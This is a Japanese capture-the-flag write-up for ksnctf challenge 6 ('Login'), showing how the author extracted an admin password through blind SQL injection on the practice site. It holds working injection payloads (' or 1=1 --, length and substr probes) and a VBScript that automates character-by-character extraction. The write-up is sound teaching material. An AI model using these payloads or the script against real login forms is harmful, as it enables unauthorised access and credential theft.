ksnctf 6 Login 120pt

#問題

https://ksnctf.sweetduet.info/problem/6

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/c3d966b7-97f5-4262-f5a7-5a4dd71dfcfd.png)

#解いてみた

- リンクをクリックしてみます。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/b876a8e1-35f6-0af3-5537-64396036403a.png)

- 適当に文字を入力してみます。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/d7d897cb-0d95-4eb0-34cb-540964d847c3.png)

- ページのソースを見てみます。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/959bcc3c-7486-a652-70df-e03615b7d01c.png)

- 特に何もなさそうです。
- パケット見てみます。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/a68f7978-d21c-d577-a235-d1c937e53821.png)

- 特に何もなさそうです。
- SQLインジェクションでしょうか。
- IDに「' or 1=1 --」を入れてみます。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/9b3d4eb7-e0d7-83a5-31d2-3b974fc98621.png)

- かなりいい感じですね。
- クリアしたのかと思ったら、ログインを突破することが目的ではなくadminのパスワードがフラグになっているそうです。。。
- IDに「' or SELECT * FROM user --」とかやれば、DB全部出そう。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/4bfdf6cd-2af2-45e0-a905-b492d78a33ca.png)

- ダメでした。
- やり方わからないので検索してみます。
- ブラインドSQLインジェクションとかいう技があるらしい。
- 直接結果が表示されないときでもあってる/間違ってるの結果の違いからブルートフォース的なことをして、頑張っていく方法らしい。
- ただ、これまでのフラグの桁数は20桁くらいあるので、総当たりはつらい。
- まずはパスワードの桁数を調べたいところ。
- 少なくとも「FLAG_」の文字は先頭につくはずだから6以上は確実なわけです。
- 「' or (SELECT length(pass) FROM user WHERE id = 'admin') > 6 --」をやってみます。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/7a80eb2b-2161-391f-a73d-2842c8e6bde0.png)

- これが出たので、パスワードは6文字より大きいということが証明できた。
- 1ずつ増やすのはめんどくさいので前回の問題の答えが21文字だったので20文字より大きいでやってみます。
    - ' or (SELECT length(pass) FROM user WHERE id = 'admin') > 20 --

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/cdaf63e3-8fcc-a2dd-858e-7252c425f4b9.png)

- よし。
- では1増やしてみます。
    - ' or (SELECT length(pass) FROM user WHERE id = 'admin') > 21 --

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/2a181368-527b-fe74-d5d4-f03617fbff61.png)

- ダメだとこうなるんですね。
- つまり、21文字ということが分かりました。
- さて21文字を英字大文字、英字小文字、数字でブルートフォースするのはかなり大変だと思います。
    - 厳密にいうと先頭5文字はFLAG_なので16文字ブルートフォースが必要。
- substrを使って6文字目から1文字ずつ比較していった方がかなり削減できそう。
- その前にsubstrのテストと先頭が本当に「FLAG_」なのか調べるために以下をやってみます。
    - ' or substr((SELECT pass FROM user WHERE id = 'admin'), 1, 1) = 'F' --
    - ' or substr((SELECT pass FROM user WHERE id = 'admin'), 2, 1) = 'L' --
    - ' or substr((SELECT pass FROM user WHERE id = 'admin'), 3, 1) = 'A' --
    - ' or substr((SELECT pass FROM user WHERE id = 'admin'), 4, 1) = 'G' --
    - ' or substr((SELECT pass FROM user WHERE id = 'admin'), 5, 1) = '_' --

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/d80b89d2-56d8-00f0-1d5f-58af952e404d.png)

- 全部これになりましたよ。つまり正解ということです。
- これを6文字目以降もやっていくんですが、さすがに手動は骨が折れます。
- VBSでツール作ってみました。

```
Dim fso
Set fso = WScript.CreateObject("Scripting.FileSystemObject")
Dim inputData
Set inputData = fso.OpenTextFile("passList.txt", 1, False, 0)

Set objFso = CreateObject("Scripting.FileSystemObject")
Set objFile = objFso.OpenTextFile("result.txt", 8, False)

Dim count
count = 6

Dim flag
flag = "FLAG_"

Dim inputFlag

Dim registerUrl
registerUrl = "http://ctfq.sweetduet.info:10080/~q6/"


Do While count < 22
	Do Until inputData.AtEndOfStream
		inputFlag = inputData.ReadLine

		Set ie = CreateObject("InternetExplorer.Application")
		ie.Navigate registerUrl
		ie.Visible = True
		waitIE ie

		ie.Document.getElementsByName("id")(0).Value = "' or substr((SELECT pass FROM user WHERE id = 'admin'), " & count & ", 1) = '" & inputFlag & "' --"
		waitIE ie
		
		ie.Document.getElementsByTagName("input")(2).Click
		waitIE ie
		
		If InStr(ie.Document.getElementsByTagName("p")(0).innerHTML, "Congratulations") > 0 Then
		
			flag = flag & inputFlag
			objFile.WriteLine(flag)
			
			ie.Quit
			Set ie = Nothing
		
			Exit Do

		End If
		
		ie.Quit
		Set ie = Nothing
	Loop
	count = count + 1

Loop

objFile.Close
Set objFile = Nothing
Set objFso = Nothing

Sub waitIE(ie)
    Do While ie.Busy = True Or ie.readystate <> 4
        WScript.Sleep 1000
    Loop
End Sub
```

- なんでかよくわかりませんが、これではうまくいきませんでした。
- HTMLを取得しようとすると空になってしまいます。
    - ほかだとうまくいったのでプログラム自体は間違ってないと思うんですが。
- 遷移前と遷移後でURLが一緒なのが悪さしてるんでしょうか。
- それと開いたIEが閉じない。。。
    - これもほかだとうまくいく。。。
- とりあえず開く操作だけツール化して、目視確認しました。
- 大量にページが出てくるのでかなり大変でした。
- OKの方のページになった文字を確認して1文字ずつ追加していって何とかできましたよ。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/17681/208bd7db-0a26-3f25-0817-c78ebaf1a408.png)

- ちょっと不完全燃焼ですが、一応解けてよかった。
    - あえてpython使わず初めてのVBS使ってみたのが良くなかったんですかね。
    - ただしVBS正しく動けば割と使えるなと思いました。